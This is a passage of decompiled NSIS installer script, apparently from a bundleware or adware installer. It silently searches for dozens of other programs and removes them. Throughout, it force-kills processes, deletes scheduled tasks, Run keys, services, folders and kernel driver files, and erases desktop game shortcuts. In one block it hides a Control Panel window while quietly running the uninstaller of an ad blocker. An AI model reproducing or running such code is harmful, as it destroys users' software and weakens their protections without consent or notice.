; Push "cmd /k taskkill /IM Launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"DriverScanner$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"DriverScanner$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\Uniblue\DriverScanner
label_17450:
IfFileExists "$PROGRAMFILES\Aktiv Download Manager" 0 label_17452
RMDir /r /REBOOTOK "$PROGRAMFILES\Aktiv Download Manager"
label_17452:
IfFileExists $PROGRAMFILES\OpenBrowserVersion* 0 label_17460
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\OpenBrowserVersion*
label_17455:
StrCmp $R1 "" label_17459
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_17455
label_17459:
FindClose $0
label_17460:
IfFileExists $PROGRAMFILES\MediaPlayerVid* 0 label_17468
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\MediaPlayerVid*
label_17463:
StrCmp $R1 "" label_17467
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_17463
label_17467:
FindClose $0
label_17468:
IfFileExists $PROGRAMFILES\Sm23mS 0 label_17470
RMDir /r /REBOOTOK $PROGRAMFILES\Sm23mS
label_17470:
IfFileExists $PROGRAMFILES\PriceLLeess 0 label_17472
RMDir /r /REBOOTOK $PROGRAMFILES\PriceLLeess
label_17472:
IfFileExists $PROGRAMFILES\MovieDea 0 label_17480
nsExec::Exec "cmd /k taskkill /IM MovieDea.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MovieDea.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run MovieDea
RMDir /r /REBOOTOK $PROGRAMFILES\MovieDea
label_17480:
IfFileExists $PROGRAMFILES\PriicueLEss 0 label_17482
RMDir /r /REBOOTOK $PROGRAMFILES\PriicueLEss
label_17482:
IfFileExists "$LOCALAPPDATA\FilesFrog Update Checker" 0 label_17494
nsExec::Exec "cmd /k taskkill /IM update_checker.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM update_checker.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"SomotoUpdateCheckerAutoStart$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"SomotoUpdateCheckerAutoStart$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$LOCALAPPDATA\FilesFrog Update Checker"
label_17494:
IfFileExists $PROGRAMFILES\PRoiceLesss 0 label_17496
RMDir /r /REBOOTOK $PROGRAMFILES\PRoiceLesss
label_17496:
IfFileExists $PROGRAMFILES\PricELeeSas 0 label_17498
RMDir /r /REBOOTOK $PROGRAMFILES\PricELeeSas
label_17498:
IfFileExists $PROGRAMFILES\TermBlazer* 0 label_17532
StrCpy $0 0
label_17500:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_17532
IntOp $0 $0 + 1
ClearErrors
Push $1
Push TermBlazer
Call :label_405
Pop $R3
IfErrors label_17500
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\tbfd_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\tbsvc_$2
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\tbfd_$3.sys 0 label_17524
Delete /REBOOTOK $SYSDIR\drivers\tbfd_$3.sys
label_17524:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\tbfd_$3.sys 0 label_17531
Delete /REBOOTOK $SYSDIR\drivers\tbfd_$3.sys
label_17531:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_17532:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr RecordPage" ImagePath
IfErrors label_17546
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17546
RMDir /r /REBOOTOK $2
label_17546:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr RecordPage" ImagePath
IfErrors label_17560
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_17560
RMDir /r /REBOOTOK $2
label_17560:
IfFileExists "$PROGRAMFILES\Record Page" 0 label_17564
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr RecordPage"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr RecordPage"
RMDir /r /REBOOTOK "$PROGRAMFILES\Record Page"
label_17564:
IfFileExists $PROGRAMFILES\PricceLess 0 label_17566
RMDir /r /REBOOTOK $PROGRAMFILES\PricceLess
label_17566:
IfFileExists $PROGRAMFILES\PriiceLesss 0 label_17568
RMDir /r /REBOOTOK $PROGRAMFILES\PriiceLesss
label_17568:
IfFileExists $LOCALAPPDATA\TNT2 0 label_17570
RMDir /r /REBOOTOK $LOCALAPPDATA\TNT2
label_17570:
IfFileExists $PROGRAMFILES\TNT2 0 label_17573
DeleteRegKey HKCU SOFTWARE\MozillaPlugins\@tnt2npapi.com/Plugin
RMDir /r /REBOOTOK $PROGRAMFILES\TNT2
label_17573:
IfFileExists $PROGRAMFILES\Baisvik 0 label_17586
nsExec::ExecToStack "schtasks /delete /tn $\"Baisvik\Baisvik Disk Cleaner\Start Baisvik Disk Cleaner on user logon into Windows.$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Baisvik\Baisvik Disk Cleaner\Start Baisvik Disk Cleaner on user logon into Windows.$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::Exec "cmd /k taskkill /IM DiskCleaner.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM DiskCleaner.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run name_me
RMDir /r /REBOOTOK $PROGRAMFILES\Baisvik
label_17586:
IfFileExists $PROGRAMFILES\SuperClick* 0 label_17620
StrCpy $0 0
label_17588:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_17620
IntOp $0 $0 + 1
ClearErrors
Push $1
Push SuperClick
Call :label_405
Pop $R3
IfErrors label_17588
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\scsvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\scfd_$2
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\scfd_$3.sys 0 label_17612
Delete /REBOOTOK $SYSDIR\drivers\scfd_$3.sys
label_17612:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\scfd_$3.sys 0 label_17619
Delete /REBOOTOK $SYSDIR\drivers\scfd_$3.sys
label_17619:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_17620:
IfFileExists $PROGRAMFILES\Wincy 0 label_17622
RMDir /r /REBOOTOK $PROGRAMFILES\Wincy
label_17622:
FunctionEnd
Function func_17623
SetShellVarContext current
IfFileExists $PROGRAMFILES\ZetaGames 0 label_17657
nsExec::Exec "cmd /k taskkill /IM ZetaGames.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ZetaGames.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Upd.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Upd.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM UnZeta.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UnZeta.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM zetagames1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM zetagames1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM zetagames2.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM zetagames2.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"ZetaUpdate$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ZetaUpdate$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ZetaGames
RMDir /r /REBOOTOK $PROGRAMFILES\ZetaGames
label_17657:
IfFileExists $PROGRAMFILES\Mobogenie3 0 label_17690
nsExec::Exec "cmd /k net stop MobogenieService"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop MobogenieService"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config MobogenieService start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config MobogenieService start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MobogenieService
nsExec::Exec "cmd /k taskkill /IM Mobogenie.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Mobogenie.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MobogenieService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MobogenieService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MoboGenieHelper.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MoboGenieHelper.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Update.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Update.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Mobogenie3
label_17690:
IfFileExists $APPDATA\ConditionalRedirect 0 label_17698
nsExec::Exec "cmd /k taskkill /IM updater.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updater.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ConditionalRedirect
RMDir /r /REBOOTOK $APPDATA\ConditionalRedirect
label_17698:
IfFileExists $LOCALAPPDATA\ZetaGamesNews 0 label_17706
nsExec::Exec "cmd /k taskkill /IM zeta.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM zeta.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ZetaGamesNews
RMDir /r /REBOOTOK $LOCALAPPDATA\ZetaGamesNews
label_17706:
IfFileExists "$DESKTOP\World of Warships.lnk" 0 label_17708
Delete "$DESKTOP\World of Warships.lnk"
label_17708:
IfFileExists "$DESKTOP\World of Tanks.lnk" 0 label_17710
Delete "$DESKTOP\World of Tanks.lnk"
label_17710:
IfFileExists $DESKTOP\Warface.lnk 0 label_17712
Delete $DESKTOP\Warface.lnk
label_17712:
IfFileExists "$DESKTOP\Armored Warfare.lnk" 0 label_17714
Delete "$DESKTOP\Armored Warfare.lnk"
label_17714:
IfFileExists "$PROGRAMFILES\Local Weather Beta" 0 label_17726
nsExec::Exec "cmd /k taskkill /IM local_weather_beta_helper_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM local_weather_beta_helper_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"local_weather_beta_helper_service$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"local_weather_beta_helper_service$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Local Weather Beta"
label_17726:
IfFileExists "$PROGRAMFILES\Summer Sports" 0 label_17738
nsExec::Exec "cmd /k taskkill /IM summer_sports_helper_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM summer_sports_helper_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"summer_sports_helper_service$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"summer_sports_helper_service$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Summer Sports"
label_17738:
IfFileExists $PROGRAMFILES\MiuiTab 0 label_17740
RMDir /r /REBOOTOK $PROGRAMFILES\MiuiTab
label_17740:
IfFileExists $PROGRAMFILES\Clip2net 0 label_17748
nsExec::Exec "cmd /k taskkill /IM Clip2Net.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Clip2Net.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run clip2net
RMDir /r /REBOOTOK $PROGRAMFILES\Clip2net
label_17748:
IfFileExists $APPDATA\Clip2Net 0 label_17750
RMDir /r /REBOOTOK $APPDATA\Clip2Net
label_17750:
IfFileExists "$PROGRAMFILES\Max Deal" 0 label_17762
nsExec::Exec "cmd /k taskkill /IM max_deal_helper_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM max_deal_helper_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"max_deal_helper_service$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"max_deal_helper_service$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Max Deal"
label_17762:
IfFileExists $LOCALAPPDATA\PriceMeter 0 label_17785
nsExec::Exec "cmd /k taskkill /IM pricemeterw.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pricemeterw.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM pricemeter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pricemeter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"pricemetertask$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"pricemetertask$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"pricemeterwatcher$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"pricemeterwatcher$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run PriceMeterW
RMDir /r /REBOOTOK $LOCALAPPDATA\PriceMeter
label_17785:
IfFileExists $LOCALAPPDATA\avabv* 0 label_17799
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\avabv*
label_17788:
StrCmp $R1 "" label_17798
DeleteRegKey HKLM SYSTEM\ControlSet001\services\$R1
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
FindNext $0 $R1
Goto label_17788
label_17798:
FindClose $0
label_17799:
IfFileExists $TEMP\adblocker_installer_* 0 label_17829
StrCpy $0 0
label_17801:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_17829
IntOp $0 $0 + 1
ClearErrors
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 Publisher
IfErrors label_17801
ClearErrors
Push $2
Push adblocker
Call :label_405
Pop $R3
IfErrors label_17801
ClearErrors
ReadRegStr $9 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 UninstallString
IfErrors label_17829
nsExec::Exec "cmd /k control"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k control"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 1000
FindWindow $0 CabinetWClass
ShowWindow $0 ${SW_HIDE}
nsExec::Exec $9
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push $9
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_17829:
IfFileExists $PROGRAMFILES\Lavasoft 0 label_17849
DeleteRegKey HKLM SYSTEM\ControlSet001\services\LavasoftTcpService
DeleteRegKey HKLM SYSTEM\ControlSet001\services\SearchProtectionService
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Web Companion"
nsExec::Exec "cmd /k taskkill /IM WebCompanion.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WebCompanion.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Lavasoft.SearchProtect.WinService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Lavasoft.SearchProtect.WinService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM LavasoftTcpService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LavasoftTcpService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Lavasoft
label_17849:
IfFileExists $APPDATA\OpenCandy 0 label_17851
RMDir /r /REBOOTOK $APPDATA\OpenCandy
label_17851:
IfFileExists "$PROGRAMFILES\Application Nation" 0 label_17865
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Application Nation"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Application Nation"
nsExec::Exec "cmd /k taskkill /IM updateApplicationNation.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM updateApplicationNation.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM utilApplicationNation.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM utilApplicationNation.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Application Nation"
label_17865:
IfFileExists $PROGRAMFILES\PragmaEdit 0 label_17867
RMDir /r /REBOOTOK $PROGRAMFILES\PragmaEdit
label_17867:
IfFileExists $LOCALAPPDATA\Installer 0 label_17893
nsExec::ExecToStack "schtasks /delete /tn $\"Installer_geforce$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Installer_geforce$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Installer_sense$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Installer_sense$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Inst_Rep$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Inst_Rep$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Installer_cr$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Installer_cr$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Installer_iwebar$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Installer_iwebar$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_17893:
IfFileExists $DESKTOP\StormFall.lnk 0 label_17920
nsExec::ExecToStack "schtasks /delete /tn $\"StormFall TM$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"StormFall TM$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"StormFall TW1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"StormFall TW1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"StormFall TW2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"StormFall TW2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"StormFall W1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"StormFall W1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"StormFall W2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"StormFall W2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete $DESKTOP\StormFall.lnk
label_17920:
IfFileExists $PROGRAMFILES\Wordinator* 0 label_17955
StrCpy $0 0
label_17922:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_17955
IntOp $0 $0 + 1
ClearErrors
Push $1
Push Wordinator
Call :label_405
Pop $R3
IfErrors label_17922
IfFileExists $PROGRAMFILES\$1 0 label_17933
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_17933:
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wfd_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wsvc_$2
Push $2
Push .
Push _
Call func_179
Pop $3
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wfd_$3.sys 0 label_17948
Delete /REBOOTOK $SYSDIR\drivers\wfd_$3.sys
label_17948:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wfd_$3.sys 0 label_17955
Delete /REBOOTOK $SYSDIR\drivers\wfd_$3.sys
label_17955:
IfFileExists "$LOCALAPPDATA\Up Top" 0 label_17963
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Up Top"
RMDir /r /REBOOTOK "$LOCALAPPDATA\Up Top"
label_17963:
IfFileExists $LOCALAPPDATA\promoskiki 0 label_17971
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run promoskiki
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\promoskiki
label_17971:
IfFileExists $PROGRAMFILES\CouponsPlus 0 label_17973
RMDir /r /REBOOTOK $PROGRAMFILES\CouponsPlus
label_17973:
IfFileExists $PROGRAMFILES\SpaceSondPro 0 label_17981
nsExec::Exec "cmd /k taskkill /IM Spacesoundpro.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Spacesoundpro.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce SpaceSondPro_v53.1001
RMDir /r /REBOOTOK $PROGRAMFILES\SpaceSondPro
label_17981:
IfFileExists $PROGRAMFILES64\SpaceSoundPro 0 label_17988
nsExec::Exec "cmd /k taskkill /IM SpaceSondPro_Service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SpaceSondPro_Service.exe /f"
